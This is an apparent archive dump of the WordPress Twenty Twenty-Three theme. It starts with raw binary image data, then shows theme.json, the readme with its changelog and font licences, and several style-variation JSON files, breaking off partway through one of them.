O{KB[(KCfir6۬m븍̱J|=K?c*_omÒ8`<j0 .ho@Dݮ dZkL<va~[N#iJ?oVl]nVh4 )mg/X/E+݉EWLl-l'5 TL$f"z3Y^Ƞ6S}uYRm 6]zW^{5mcVZdZ#~faS6;ks'N#܇5&#'~ы^=qx^㠜$?;PL7әΜ%MJTc믿'3z}6x +c) #ep}gCNdK5(2~cN1ۨՇG@풴|$k|BOOG߉w8udTMt%Mk_(dY޼-oioNO_e6js C^j0mo%#"aU3oW'mj]11FdZȾt"Hёx8)Bjv) ,+f:T3wdLVgf"S~^ qgvLXc5Fy8UbNW2e"l$ 0hප}wQMYhePv.ծ20KLˤ6:NgAX:om&H 6o$,=1dIV_0fiϝ%-L`Y!,O{е^{|!xͲ@Yi`IuXdlLUN1A|n3ղA!v~&A5W޾!k7Y!Irc==HHj0 X>lV{ӱ/%rA^WmdK}3UNT `z3Y۶3a,鞩p d p@U j Q# 4>`pӆei˛>ӖSx{r FLJBd5x?BH0 :Ld&Skn nBfKY3Qma:ۤo%u`*iʲ6uMmd_5HnvhXBGYdSĜ]@&mks fܛ 57Lx#7.kKpg!(΁%/yBgN5s%/YbV묀ٲԎ" ذď U䢈/WS/vX}~AEǩڜ(KX+`.qs4, Tj6h @]2B`upҭjZ;)T3YM3)z).fA&.g҂љP,y ɁZ&٫խz뷤VL4 dJ ؜)Җ~]&Z3  S d,MڔxYN8I `&vOdIxI#9`E:Ai ?sbC3QÊ #ީS 3`MuRd-FV h=m/1Y2 Rz O}Sۿ$ ,:!tZzꩣ[WL?Yj9 *aݙ]Ss: na2j|lSdap;,$Ap7&iI2'fR%ys&.G,"3\O)m!mjھ&y߻(/t>Xj~7zD涊A#ٰP`Yϝ)ro2 `%޴<6d`9>HZ{گKiΪJ[Ȅd>蠆 ٧ .@ ,&EOnO,"I|aƬ̀H\qYkwlN-\(zԣ)`\k 3];W]uỲ1vApȘ_|Atv*Lt2`ZY%9܇]_ @6#iq2a~KPf-@j~?Ky<u53͠KP,[!e"Tg3laÒl72r94{ls^_K_RsI'52\\r%)| _h?-fo;w9#m׿M$IC`oMo~vl>k-rܦ]ZLH6/$I6~. I:A/~KP&Ͻ_kXYZ=ashG?Q \sF7j~,t׾6խn\vex$IZ `]l֣;<Ǽ/=Qz}?,sMo~/ųX|#n7k?1._z\ڕ$IXsgJaUW]0DZpVC7h9#6 曷o-t3<]'>q4zfa/Xlbyc"g8LZ]dQ\qmnaG?G>cwunM:WyS|3~n몫jwv~ئg7vЇ>}^n5g|,;nڥSl'< ;Gcfbis;&!m'?- >vfM6i~M?E/zQ?˾5}7M|mQs߿>Xp}Yg\yko;#~6\,Ykx-ZLm{M|.cJokPϩ{{x6tuyqgo6g?:nc\[në́;&9{)wCOzs ',t7wCo|}{{LM{Mofw=?~x{V[mվnș?O yC2}YZ$I,-6 l_ݢ,4'|ro"fHP:&ޟ+A׿Mn˪g,o>uŀ1xK^Y2oy[ t1&(7iNz/weA+a$̕3i?sG}+^1NZJbc3S w]vi`'IvO b N^zӞvݬy0vJvҾBc\p7m]foN@6zNSSoqo=y;NcK*'[G}t1ro\&,Two{S]eU[ǡ-z׻ I$IXJYg"ci "B6 Y}ui3dϞ= 2}5l_z4NFGlm΅ IqɜobPkɦr}O:3YhdlD"(TٷmHfK}|7[eRV_}Ōۂ `%X?~_#3~^cђ\^/}8 䮻mX;_!ۿ&Br<9m Ag%[>{$ g{b%&|SWn34]2-PJ u\ Y]od%kjQX>2D>g:3fRG, C2XzcDo~sڒ_oo2.e `ՠ[PÌ̺܇ϤNFb۞i15Yk (ҷm@92q~LqȨceXz׻F׳zv6S ד1s}_92Vg*؎zqr$I2`M,2j"dR |40ftb^K & XT)YJb8{[ԊbQW2)f LMU?ԥ]$)}/:I\X"(BPffVނfY{:c5n`:cw Blx,I꒷Hk>, }u#wfy,{طۨ>A >?5Ʃz !C)% %e@P `6ӡUKʒ;>CפV]; }k{X3Uݺs'l<&$I$XZ꒻qghM+ˢ(&>`;ַfQ\ִ=wn!, 8Q&KjXV5N]FحDC ƥ6 Kf+AÍ;KD&ԂLLn 1ۤ{G$@D `ȤUեW'շ%^y=2"{^Xv衇XSW /(9Y/wܗuX} dtU55p bg{t "K*GlRۛ/԰{S7lg NBg9i"J|<{ѫJ8#'!ȝfb},ىٶ5crdα]'m8B$I,-.0h2i/䱜jSK0U6@j]^x6o}w/A`!h6I jP 3lo{zomdVnn\R&ud֠LE {'h. `ɖ@Ro%YdM}߇mv-ݓ?^~YƽI$ik`i2EQD +׽oʀ~qXͫ(R1c3gvH@a `a[h j}Kf `uku1΀5Ek@#><~,+=2;mYZ )wU6`5] ^乓R\ƑG9z]Ij0&Kn5E `\`X+R}M:SjФ),ښqjd `Qf#e_'}~-@$X<JfAW3Ɲ)0/8H!oUVY( &-MoJ$IDQ*w ~f+ūGg*2uIUtuX,Tw /{h4XߨX .Q3hQ$@@vRC-eh~ρ8uw^{vm7*?.AyjQK+j+ݸ5׳{~^,9uI$I\ npZZ7[;km1T`5k&tg[,$3YH0jQ:m{4W.ؓO}SG׬.UW5J东zK$fGEY喨qY+ld+`U=BU].[RyM`vir-~wu)^ /NOUuX9ˠ"HRqI{jĜml>~ŗDkm1HKYS$I\,,(9*,"E/zѴ# OS ("rV8bZ,d]ƿmqX\6d梋. "2nAFU= $:k,]mo1x~ݛ `=* 6-flX58w>.?a Xb5hG>f Mz]Z7XH=$.d|Y\۰nv˓X wܡ" $;I¸o6h֗ո=hmr2>9ADI$ Mu},]./ƙ꺃P T +bvgosΌ OR-6|Qpk'sfqX'x+S}Y/9Q\Ro,Vu꣚~dv>3ΘX>NjvaF=s'uaWlA|$לM' $:L{%}M$I2e쩜Io܅@O|.j^N`@ljz!eZ@rR 5!g^ $ɩ4{a;a|`W0P̑㐁Gbܾor'!ГLg d?IP{;&:)=e/l>ԽoG^κwX%ؗ?<F|^ٞ9>4/| %Su]d̐}~#쭓~Gf߸@@lqYTlGy/%ɶdv't".'ۏ>7M68å/|/y]~(0#c @WZd+?:=s~<~\,RElhL .=wm6yq e~i-ӾUjk0&;$I$X5ikh K$I$IRcK 2o("2ɾ"A$I$-US?+/אˑoΚ:X$I,sS?G55oΙz;$I$Ic\e$I$Is,I$IU `I$I4G5W2%I$Iak2eK$I9\e$I$Is,I$IXs,X$I$*X$I$I# `U `I$I4G `$I$i05W-qmNھzyO\<5O<ʂǝֹp݉iNzJs^$I$IcM͛Z0,1iVg5hxf|[5^73C0l{U5G_MSxO ͧu^?̂˱ٶ9aj}-=>Is6'7O2%I$Ig\$Xd<9횻mzf޼yuw{<)WQ'LmߜfUڬYgN_^榷\yk]'6۷_ }yssŶmָWhn Wn7w[N&?qqnݧ}O@ke$I$i0kZ/2;J͚uIl^7j3Z}ٱ9yf`΂ Fl٥nZm`(KXpC}D\fSſ7O[p3`V'?6/u-oyMf6s<ԓl'בYFFо7 y[8lv=l0eOmѥ^qݪ_סCS >901GzZ515Ayyޤu_nJjViIbz:#:7ET#!_1zl%6|8]ֆ/3?S+}Zł7ēql\0Wt9v7??OSs/- w Cªj8f !66gQLey)ţgbn<ݮGt)NrHlFѡciGQ+Ťzppq7ɷ?սSLNӇ1M}ݴzR~ r1KqRl7ty-tUN.'?6gCm/-nXw~99m,hwVUWJOi=cq}rJӲmçloOo;ǜ[SrI1|V[ qXrŏ^o3o+ވ< ~9}\JQ&'_{'ǟhL49vEZnQvMh|?[sXm/M ?85sV?]E ڝUU=ޱΛTڌbp8>Tcu?:Nc0Wη͸% (M2+MXsg#-Xl=Md]q_{NL똼yy F-q_mV^%xÐؠCX)xu9fُkj=dќoʁgˍi85Ve+/]5$߾tQeދb5p1hxsZo+`Ji{IVe,|3ϼQC'!#{SdUaoY<s2Ǵ]k|{_`oSyׯ[JA XXvKt1+;-*ཱུy=;so[e{sV=s8wyKX +W6}+E+v4S Kw[(6-ϧ 6:m1ǜޟcfgǦ]uڻO!a(أqd~r:(?wצMr-D눸F:=W:ߋla8?ܸ ѵGXyn9u߸sSic3n;t_~:mo'R\>3%~XU՞k]J'k1'l_vH,~kFF [[bie]{͎GXXk{F]r\xX)SX)M>Zz;-q#.jt\Ę1q?Z_98o'u)1A1ƝMosMS?o3|uj|w Gs\ȨWKe#wN{y奒/Ll>+;`Xbv+-KSڌ<12kmp{)cf aNS[:3~Ztl}wtY^?#s|JǤӆ)`JlsMc\1)H׏K+ŭ>w?cՈdﯿk?w]([V;#MUU#`TwK0UUa, *VU XTUU!`U%`@EXU%` XPVU XTUU!`U%`@EXU%` XPVUujov?k>.MlrxC}V@,&`P4{`P4 XMhE(@,&`PZSBh&(@,!hE(=( ,&`P4 XMh~hEhE(@,&`P4 XMhZ2@,f !E3@,&`P4 XMhE(@jM: e hE XMhE(@,&`P4 ՚juE3@j}D&zIENDB`themes/twentytwentythree/parts/post-meta.html000064400000000074152335264760015634 0ustar00 themes/twentytwentythree/parts/comments.html000064400000000102152335264760015540 0ustar00 themes/twentytwentythree/parts/header.html000064400000001257152335264760015157 0ustar00
    themes/twentytwentythree/parts/footer.html000064400000000101152335264760015210 0ustar00 themes/twentytwentythree/theme.json000064400000035322152335264760013705 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.5/theme.json", "version": 2, "customTemplates": [ { "name": "blank", "postTypes": [ "page", "post" ], "title": "Blank" }, { "name": "blog-alternative", "postTypes": [ "page" ], "title": "Blog (Alternative)" }, { "name": "404", "postTypes": [ "page" ], "title": "404" } ], "settings": { "appearanceTools": true, "color": { "palette": [ { "color": "#ffffff", "name": "Base", "slug": "base" }, { "color": "#000000", "name": "Contrast", "slug": "contrast" }, { "color": "#9DFF20", "name": "Primary", "slug": "primary" }, { "color": "#345C00", "name": "Secondary", "slug": "secondary" }, { "color": "#F6F6F6", "name": "Tertiary", "slug": "tertiary" } ] }, "layout": { "contentSize": "650px", "wideSize": "1200px" }, "spacing": { "spacingScale": { "steps": 0 }, "spacingSizes": [ { "size": "clamp(1.5rem, 5vw, 2rem)", "slug": "30", "name": "1" }, { "size": "clamp(1.8rem, 1.8rem + ((1vw - 0.48rem) * 2.885), 3rem)", "slug": "40", "name": "2" }, { "size": "clamp(2.5rem, 8vw, 4.5rem)", "slug": "50", "name": "3" }, { "size": "clamp(3.75rem, 10vw, 7rem)", "slug": "60", "name": "4" }, { "size": "clamp(5rem, 5.25rem + ((1vw - 0.48rem) * 9.096), 8rem)", "slug": "70", "name": "5" }, { "size": "clamp(7rem, 14vw, 11rem)", "slug": "80", "name": "6" } ], "units": [ "%", "px", "em", "rem", "vh", "vw" ] }, "typography": { "dropCap": false, "fluid": true, "fontFamilies": [ { "fontFace": [ { "fontFamily": "DM Sans", "fontStretch": "normal", "fontStyle": "normal", "fontWeight": "400", "src": [ "file:./assets/fonts/dm-sans/DMSans-Regular.woff2" ] }, { "fontFamily": "DM Sans", "fontStretch": "normal", "fontStyle": "italic", "fontWeight": "400", "src": [ "file:./assets/fonts/dm-sans/DMSans-Regular-Italic.woff2" ] }, { "fontFamily": "DM Sans", "fontStretch": "normal", "fontStyle": "normal", "fontWeight": "700", "src": [ "file:./assets/fonts/dm-sans/DMSans-Bold.woff2" ] }, { "fontFamily": "DM Sans", "fontStretch": "normal", "fontStyle": "italic", "fontWeight": "700", "src": [ "file:./assets/fonts/dm-sans/DMSans-Bold-Italic.woff2" ] } ], "fontFamily": "\"DM Sans\", sans-serif", "name": "DM Sans", "slug": "dm-sans" }, { "fontFace": [ { "fontDisplay": "block", "fontFamily": "IBM Plex Mono", "fontStretch": "normal", "fontStyle": "normal", "fontWeight": "300", "src": [ "file:./assets/fonts/ibm-plex-mono/IBMPlexMono-Light.woff2" ] }, { "fontDisplay": "block", "fontFamily": "IBM Plex Mono", "fontStretch": "normal", "fontStyle": "normal", "fontWeight": "400", "src": [ "file:./assets/fonts/ibm-plex-mono/IBMPlexMono-Regular.woff2" ] }, { "fontDisplay": "block", "fontFamily": "IBM Plex Mono", "fontStretch": "normal", "fontStyle": "italic", "fontWeight": "400", "src": [ "file:./assets/fonts/ibm-plex-mono/IBMPlexMono-Italic.woff2" ] }, { "fontDisplay": "block", "fontFamily": "IBM Plex Mono", "fontStretch": "normal", "fontStyle": "normal", "fontWeight": "700", "src": [ "file:./assets/fonts/ibm-plex-mono/IBMPlexMono-Bold.woff2" ] } ], "fontFamily": "'IBM Plex Mono', monospace", "name": "IBM Plex Mono", "slug": "ibm-plex-mono" }, { "fontFace": [ { "fontFamily": "Inter", "fontStretch": "normal", "fontStyle": "normal", "fontWeight": "200 900", "src": [ "file:./assets/fonts/inter/Inter-VariableFont_slnt,wght.ttf" ] } ], "fontFamily": "\"Inter\", sans-serif", "name": "Inter", "slug": "inter" }, { "fontFamily": "-apple-system,BlinkMacSystemFont,\"Segoe UI\",Roboto,Oxygen-Sans,Ubuntu,Cantarell,\"Helvetica Neue\",sans-serif", "name": "System Font", "slug": "system-font" }, { "fontFace": [ { "fontFamily": "Source Serif Pro", "fontStretch": "normal", "fontStyle": "normal", "fontWeight": "200 900", "src": [ "file:./assets/fonts/source-serif-pro/SourceSerif4Variable-Roman.ttf.woff2" ] }, { "fontFamily": "Source Serif Pro", "fontStretch": "normal", "fontStyle": "italic", "fontWeight": "200 900", "src": [ "file:./assets/fonts/source-serif-pro/SourceSerif4Variable-Italic.ttf.woff2" ] } ], "fontFamily": "\"Source Serif Pro\", serif", "name": "Source Serif Pro", "slug": "source-serif-pro" } ], "fontSizes": [ { "fluid": { "min": "0.875rem", "max": "1rem" }, "size": "1rem", "slug": "small" }, { "fluid": { "min": "1rem", "max": "1.125rem" }, "size": "1.125rem", "slug": "medium" }, { "fluid": { "min": "1.75rem", "max": "1.875rem" }, "size": "1.75rem", "slug": "large" }, { "fluid": false, "size": "2.25rem", "slug": "x-large" }, { "fluid": { "min": "6.1rem", "max": "10rem" }, "size": "10rem", "slug": "xx-large" } ] }, "useRootPaddingAwareAlignments": true }, "styles": { "blocks": { "core/navigation": { "elements": { "link": { ":hover": { "typography": { "textDecoration": "underline" } }, ":focus": { "typography": { "textDecoration": "underline dashed" } }, ":active": { "typography": { "textDecoration": "none" } }, "typography": { "textDecoration": "none" } } }, "typography": { "fontSize": "var(--wp--preset--font-size--small)" } }, "core/post-author": { "typography": { "fontSize": "var(--wp--preset--font-size--small)" } }, "core/post-content": { "elements": { "link": { "color": { "text": "var(--wp--preset--color--secondary)" } } } }, "core/post-excerpt": { "typography": { "fontSize": "var(--wp--preset--font-size--medium)" } }, "core/post-date": { "typography": { "fontSize": "var(--wp--preset--font-size--small)", "fontWeight": "400" }, "elements": { "link": { "typography": { "textDecoration": "none" }, ":hover": { "typography": { "textDecoration": "underline" } } } } }, "core/post-terms": { "typography": { "fontSize": "var(--wp--preset--font-size--small)" } }, "core/post-title": { "spacing": { "margin": { "bottom": "1.25rem", "top": "1.25rem" } }, "typography": { "fontWeight": "400" }, "elements": { "link": { ":hover": { "typography": { "textDecoration": "underline" } }, ":focus": { "typography": { "textDecoration": "underline dashed" } }, ":active": { "color": { "text": "var(--wp--preset--color--secondary)" }, "typography": { "textDecoration": "none" } }, "typography": { "textDecoration": "none" } } } }, "core/comments-title":{ "typography": { "fontSize": "var(--wp--preset--font-size--large)" }, "spacing": { "margin": { "bottom": "var(--wp--preset--spacing--40)" } } }, "core/comment-author-name": { "elements": { "link": { ":hover": { "typography": { "textDecoration": "underline" } }, ":focus": { "typography": { "textDecoration": "underline dashed" } }, ":active": { "color": { "text": "var(--wp--preset--color--secondary)" }, "typography": { "textDecoration": "none" } }, "typography": { "textDecoration": "none" } } } }, "core/comment-date": { "typography": { "fontSize": "var(--wp--preset--font-size--small)" }, "elements": { "link": { ":hover": { "typography": { "textDecoration": "underline" } }, ":focus": { "typography": { "textDecoration": "underline dashed" } }, ":active": { "color": { "text": "var(--wp--preset--color--secondary)" }, "typography": { "textDecoration": "none" } }, "typography": { "textDecoration": "none" } } } }, "core/comment-edit-link": { "typography": { "fontSize": "var(--wp--preset--font-size--small)" } }, "core/comment-reply-link": { "typography": { "fontSize": "var(--wp--preset--font-size--small)" } }, "core/comments-pagination": { "spacing": { "margin": { "top": "var(--wp--preset--spacing--40)" } }, "elements": { "link": { "typography": { "textDecoration": "none" } } } }, "core/pullquote": { "border": { "style": "solid", "width": "1px 0" }, "elements": { "cite": { "typography": { "fontSize": "var(--wp--preset--font-size--small)", "fontStyle": "normal", "textTransform": "none" } } }, "typography": { "lineHeight": "1.3" }, "spacing": { "margin": { "bottom": "var(--wp--preset--spacing--40) !important", "top": "var(--wp--preset--spacing--40) !important" } } }, "core/query": { "elements": { "h2": { "typography": { "fontSize": "var(--wp--preset--font-size--x-large)" } } } }, "core/query-pagination": { "typography": { "fontSize": "var(--wp--preset--font-size--small)", "fontWeight": "400" }, "elements": { "link": { "typography": { "textDecoration": "none" }, ":hover": { "typography": { "textDecoration": "underline" } } } } }, "core/quote": { "border": { "left": { "color": "inherit", "style": "solid", "width": "1px" } }, "elements": { "cite": { "typography": { "fontSize": "var(--wp--preset--font-size--small)", "fontStyle": "normal" } } }, "spacing": { "padding": { "left": "var(--wp--preset--spacing--30)", "right": "var(--wp--preset--spacing--30)" } } }, "core/site-title": { "elements": { "link": { ":hover": { "typography": { "textDecoration": "underline" } }, ":focus": { "typography": { "textDecoration": "underline dashed" } }, ":active": { "color": { "text": "var(--wp--preset--color--secondary)" }, "typography": { "textDecoration": "none" } }, "typography": { "textDecoration": "none" } } }, "typography": { "fontSize": "var(--wp--preset--font-size--medium)", "fontWeight": "normal", "lineHeight": "1.4" } }, "core/separator": { "css": " &:not(.is-style-wide):not(.is-style-dots):not(.alignwide):not(.alignfull){width: 100px}" } }, "color": { "background": "var(--wp--preset--color--base)", "text": "var(--wp--preset--color--contrast)" }, "elements": { "button": { "border": { "radius": "0" }, "color": { "background": "var(--wp--preset--color--primary)", "text": "var(--wp--preset--color--contrast)" }, ":hover": { "color": { "background": "var(--wp--preset--color--contrast)", "text": "var(--wp--preset--color--base)" } }, ":focus": { "color": { "background": "var(--wp--preset--color--contrast)", "text": "var(--wp--preset--color--base)" } }, ":active": { "color": { "background": "var(--wp--preset--color--secondary)", "text": "var(--wp--preset--color--base)" } }, ":visited": { "color": { "text": "var(--wp--preset--color--contrast)" } } }, "h1": { "typography": { "fontSize": "3.625rem", "lineHeight": "1.2" } }, "h2": { "typography": { "fontSize": "clamp(2.625rem, calc(2.625rem + ((1vw - 0.48rem) * 8.4135)), 3.25rem)", "lineHeight": "1.2" } }, "h3": { "typography": { "fontSize": "var(--wp--preset--font-size--x-large)" } }, "h4": { "typography": { "fontSize": "var(--wp--preset--font-size--large)" } }, "h5": { "typography": { "fontSize": "var(--wp--preset--font-size--medium)", "fontWeight": "700", "textTransform": "uppercase" } }, "h6": { "typography": { "fontSize": "var(--wp--preset--font-size--medium)", "textTransform": "uppercase" } }, "heading": { "typography": { "fontWeight": "400", "lineHeight": "1.4" } }, "link": { "color": { "text": "var(--wp--preset--color--contrast)" }, ":hover": { "typography": { "textDecoration": "none" } }, ":focus": { "typography": { "textDecoration": "underline dashed" } }, ":active": { "color": { "text": "var(--wp--preset--color--secondary)" }, "typography": { "textDecoration": "none" } }, "typography": { "textDecoration": "underline" } } }, "spacing": { "blockGap": "1.5rem", "padding": { "top": "var(--wp--preset--spacing--40)", "right": "var(--wp--preset--spacing--30)", "bottom": "var(--wp--preset--spacing--40)", "left": "var(--wp--preset--spacing--30)" } }, "typography": { "fontFamily": "var(--wp--preset--font-family--system-font)", "fontSize": "var(--wp--preset--font-size--medium)", "lineHeight": "1.6" } }, "templateParts": [ { "area": "header", "name": "header", "title": "Header" }, { "area": "footer", "name": "footer", "title": "Footer" }, { "area": "uncategorized", "name": "comments", "title": "Comments Template Part" }, { "area": "uncategorized", "name": "post-meta", "title": "Post Meta" } ] } themes/twentytwentythree/readme.txt000064400000006003152335264760013700 0ustar00=== Twenty Twenty-Three === Contributors: wordpressdotorg Requires at least: 6.1 Tested up to: 7.0 Requires PHP: 5.6 Stable tag: 1.6 License: GPLv2 or later License URI: http://www.gnu.org/licenses/gpl-2.0.html == Description == Twenty Twenty-Three is designed to take advantage of the new design tools introduced in WordPress 6.1. With a clean, blank base as a starting point, this default theme includes ten diverse style variations created by members of the WordPress community. Whether you want to build a complex or incredibly simple website, you can do it quickly and intuitively through the bundled styles or dive into creation and full customization yourself. == Changelog == = 1.6 = * Released: November 12, 2024 https://wordpress.org/documentation/article/twenty-twenty-three-changelog/#Version_1.6 = 1.5 = * Released: July 16, 2024 https://wordpress.org/documentation/article/twenty-twenty-three-changelog/#Version_1.5 = 1.4 = * Released: April 2, 2024 https://wordpress.org/documentation/article/twenty-twenty-three-changelog/#Version_1.4 = 1.3 = * Released: November 7, 2023 https://wordpress.org/documentation/article/twenty-twenty-three-changelog/#Version_1.3 = 1.2 = * Released: August 8, 2023 https://wordpress.org/documentation/article/twenty-twenty-three-changelog/#Version_1.2 = 1.1 = * Released: March 28, 2023 https://wordpress.org/documentation/article/twenty-twenty-three-changelog/#Version_1.1 = 1.0 = * Released: November 1, 2022 https://wordpress.org/documentation/article/twenty-twenty-three-changelog/#Version_1.0 == Copyright == Twenty Twenty-Three WordPress Theme, (C) 2022-2026 WordPress.org and contributors. Twenty Twenty-Three is distributed under the terms of the GNU GPL. This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. This theme bundles the following third-party resources: DM Sans Font Copyright 2014-2017 Indian Type Foundry (info@indiantypefoundry.com) Copyright 2019 Google LLC Copyright 2014-2018 Adobe (http://www.adobe.com/) License: SIL Open Font License, 1.1, https://opensource.org/licenses/OFL-1.1 Source: https://github.com/googlefonts/dm-fonts IBM Plex Font Copyright 2017 IBM Corp. License: SIL Open Font License, 1.1, https://opensource.org/licenses/OFL-1.1 Source: https://github.com/IBM/plex Inter Font Copyright (c) 2016-2020 The Inter Project Authors. License: SIL Open Font License, 1.1, https://opensource.org/licenses/OFL-1.1 Source: https://github.com/rsms/inter Source Serif Font Copyright 2014-2021 Adobe (http://www.adobe.com/) License: SIL Open Font License, 1.1, https://opensource.org/licenses/OFL-1.1 Source: https://github.com/adobe-fonts/source-serif themes/twentytwentythree/styles/electric.json000064400000003521152335264760015714 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.5/theme.json", "version": 2, "title": "Electric", "settings": { "color": { "palette": [ { "color": "#f3f3f1", "name": "Base", "slug": "base" }, { "color": "#2500ff", "name": "Contrast", "slug": "contrast" }, { "color": "#f3f3f1", "name": "Primary", "slug": "primary" }, { "color": "#2500ff", "name": "Secondary", "slug": "secondary" }, { "color": "#f6f6f6", "name": "Tertiary", "slug": "tertiary" } ] } }, "styles": { "elements": { "button": { "border": { "style": "solid", "width": "2px", "color": "var(--wp--preset--color--contrast)" }, "color": { "background": "var(--wp--preset--color--contrast)", "text": "var(--wp--preset--color--base)" }, "spacing": { "padding": { "top": ".667em", "right": "1.333em", "bottom": ".667em", "left": "1.333em" } }, ":active": { "typography": { "textDecoration": "underline dotted" } }, ":focus": { "typography": { "textDecoration": "underline dotted" } }, ":hover": { "border": { "color": "var(--wp--preset--color--contrast)", "style": "solid", "width": "2px" }, "color": { "background": "var(--wp--preset--color--base)", "text": "var(--wp--preset--color--contrast)" } }, ":visited": { "color": { "text": "var(--wp--preset--color--base)" } } }, "link": { ":focus": { "typography": { "textDecoration": "underline dotted" } }, ":active": { "typography": { "textDecoration": "underline dotted" } } } }, "typography": { "fontFamily": "var(--wp--preset--font-family--dm-sans)" } } } themes/twentytwentythree/styles/marigold.json000064400000013767152335264760015735 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.5/theme.json", "version": 2, "title": "Marigold", "settings": { "color": { "palette": [ { "color": "#F6F2EC", "name": "Base", "slug": "base" }, { "color": "#21251F", "name": "Contrast", "slug": "contrast" }, { "color": "#5B4460", "name": "Primary", "slug": "primary" }, { "color": "#FCC263", "name": "Secondary", "slug": "secondary" }, { "color": "#E7A1A9", "name": "Tertiary", "slug": "tertiary" } ] }, "layout": { "wideSize": "1200px" }, "spacing": { "spacingSizes": [ { "size": "clamp(0.625rem, 0.434rem + 0.61vw, 0.938rem)", "name": "1", "slug": "30" }, { "size": "clamp(1.25rem, 0.869rem + 1.22vw, 1.875rem)", "name": "2", "slug": "40" }, { "size": "clamp(1.875rem, 1.303rem + 1.83vw, 2.813rem)", "name": "3", "slug": "50" }, { "size": "clamp(2.5rem, 1.738rem + 2.44vw, 3.75rem)", "name": "4", "slug": "60" }, { "size": "clamp(2.813rem, 1.098rem + 5.49vw, 5.625rem)", "name": "5", "slug": "70" }, { "size": "clamp(3.75rem, 1.463rem + 7.32vw, 7.5rem)", "name": "6", "slug": "80" } ] }, "typography": { "fontSizes": [ { "size": "clamp(0.875rem, 0.799rem + 0.24vw, 1rem)", "name": "Tiny", "slug": "tiny" }, { "size": "clamp(1rem, 0.924rem + 0.24vw, 1.125rem)", "slug": "small" }, { "size": "clamp(1.125rem, 1.049rem + 0.24vw, 1.25rem)", "name": "Normal", "slug": "normal" }, { "size": "clamp(1.25rem, 1.021rem + 0.73vw, 1.625rem)", "slug": "medium" }, { "size": "clamp(1.375rem, 1.07rem + 0.98vw, 1.875rem)", "slug": "large" }, { "size": "clamp(1.75rem, 1.369rem + 1.22vw, 2.375rem)", "slug": "x-large" }, { "size": "clamp(2.125rem, 1.706rem + 1.34vw, 2.813rem)", "slug": "xx-large" }, { "size": "clamp(2.5rem, 1.966rem + 1.71vw, 3.375rem)", "name": "Huge", "slug": "huge" }, { "size": "clamp(3.375rem, 2.384rem + 3.17vw, 5rem)", "name": "Gigantic", "slug": "gigantic" } ] } }, "styles": { "blocks": { "core/comment-author-name": { "elements": { "link": { ":active": { "color": { "text": "var(--wp--preset--color--primary)" } } } } }, "core/query": { "spacing": { "padding": { "left": "0", "right": "0" } } }, "core/post-content": { "elements": { "link": { "color": { "text": "var(--wp--preset--color--primary)" } } } }, "core/post-excerpt": { "typography": { "fontSize": "var(--wp--preset--font-size--normal)" } }, "core/post-title": { "elements": { "link": { "typography": { "textDecoration": "none" }, "color": { "text": "var(--wp--preset--color--primary)" } } }, "spacing": { "margin": { "bottom": "var(--wp--preset--spacing--50)", "top": "var(--wp--preset--spacing--50)" } }, "typography": { "fontSize": "var(--wp--preset--font-size--large)", "fontWeight": "600" } }, "core/pullquote": { "border": { "width": "1px 0" } }, "core/query-pagination": { "elements": { "link": { "typography": { "textDecoration": "none" } } }, "typography": { "fontSize": "var(--wp--preset--font-size--small)", "fontWeight": "400" } }, "core/quote": { "elements": { "cite": { "typography": { "fontSize": "1.25rem" } } }, "typography": { "fontSize": "1.625rem", "lineHeight": "1.5" } }, "core/site-title": { "typography": { "fontSize": "var(--wp--preset--font-size--normal)", "textTransform": "lowercase" } } }, "elements": { "h1": { "typography": { "fontSize": "var(--wp--preset--font-size--huge)", "lineHeight": "1.1" } }, "h2": { "typography": { "fontSize": "var(--wp--preset--font-size--xx-large)", "lineHeight": "1.2" } }, "h3": { "typography": { "fontSize": "var(--wp--preset--font-size--x-large)", "lineHeight": "1.2" } }, "h4": { "typography": { "fontSize": "var(--wp--preset--font-size--large)", "fontWeight": "600" } }, "h5": { "typography": { "fontStyle": "normal", "fontWeight": "600", "textTransform": "none" } }, "h6": { "typography": { "fontSize": "var(--wp--preset--font-size--normal)", "fontStyle": "normal", "fontWeight": "600" } }, "heading": { "typography": { "fontStyle": "italic" } }, "link": { ":active": { "color": { "text": "var(--wp--preset--color--primary)" } }, ":hover": { "typography": { "textDecoration": "none" } } }, "button": { "border": { "radius": "50px" }, "color": { "background": "var(--wp--preset--color--secondary)" }, "typography": { "fontSize": "var(--wp--preset--font-size--normal)" }, ":hover": { "color": { "background": "var(--wp--preset--color--tertiary)", "text": "var(--wp--preset--color--contrast)" } }, ":focus": { "color": { "background": "var(--wp--preset--color--primary)" } }, ":active": { "color": { "background": "var(--wp--preset--color--primary)" } } } }, "spacing": { "blockGap": "2.5rem", "padding": { "bottom": "var(--wp--preset--spacing--50)", "left": "var(--wp--preset--spacing--40)", "right": "var(--wp--preset--spacing--40)", "top": "var(--wp--preset--spacing--50)" } }, "typography": { "fontFamily": "var(--wp--preset--font-family--source-serif-pro)", "fontSize": "var(--wp--preset--font-size--normal)", "lineHeight": "1.5" } } } themes/twentytwentythree/styles/canary.json000064400000010761152335264760015403 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.5/theme.json", "version": 2, "title": "Canary", "settings": { "color": { "duotone": [ { "colors": [ "#000000", "#ffffff" ], "slug": "default-filter", "name": "Default filter" } ], "palette": [ { "color": "#fdff85", "name": "Base", "slug": "base" }, { "color": "#000000", "name": "Contrast", "slug": "contrast" }, { "color": "#000000", "name": "Primary", "slug": "primary" }, { "color": "#353535", "name": "Secondary", "slug": "secondary" }, { "color": "#ffffff", "name": "Tertiary", "slug": "tertiary" } ] }, "layout": { "wideSize": "650px" }, "typography": { "fontSizes": [ { "size": "0.75rem", "slug": "small" }, { "size": "1.125rem", "slug": "medium" }, { "size": "1.75rem", "slug": "large" }, { "size": "2.25rem", "slug": "x-large" }, { "size": "10rem", "slug": "xx-large" } ] } }, "styles": { "blocks": { "core/comments": { "elements": { "link": { "typography": { "textDecoration": "underline" }, ":hover": { "typography": { "textDecoration": "none" } } } } }, "core/comment-reply-link": { "typography": { "fontSize": "var(--wp--preset--font-size--small)" } }, "core/comments-title":{ "typography": { "fontSize": "var(--wp--preset--font-size--small)" } }, "core/image": { "border": 